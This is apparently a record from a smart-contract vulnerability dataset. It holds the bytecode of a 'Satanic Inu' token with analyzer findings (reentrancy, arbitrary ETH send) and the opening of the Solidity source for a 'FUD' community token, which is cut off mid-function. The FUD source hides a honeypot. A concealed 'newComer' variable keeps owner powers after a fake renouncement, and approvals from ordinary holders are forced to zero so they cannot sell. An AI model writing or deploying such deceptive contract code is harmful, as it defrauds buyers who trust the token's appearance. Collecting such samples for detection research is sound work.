206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f53494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600481526020017f53494e550000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600b81526020017f536174616e696320496e7500000000000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200f422cbe456e3a56d854a0985f29aa0d20d6d739328ff3ac796adcfaf491c04864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
210
0x46906204b253bf6dbe29c91d1f07aafded63727a
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ /** ✨🤎 FUD (FOR US DEGENERATES) 🤎✨ Crypto has been unfair to many Degens out here, the soul purpose of this project, is to lead the Degenerates to get together to push this community driven token to the heights of success. The perfect spot for degens to hold for a long haul. ⚜️ Tokenomics ETH Token Total Supply: 1,000,000,000,000,000 (1Quad) Tax: 🔰10% Buy Tax 🔰10% Sell Tax ⚜️ Buy here: Link to be added soon! ⚜️ Contract Address CA to be added soon! ⚜️ Follow us on our socials! 🌐 Website: https://forusdegens.com/ 📥 Telegram: https://t.me/ForUsDegenerates */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract FUD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12* 10**18; string private _name = 'For Us Degenerates '; string private _symbol = 'FUD '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address 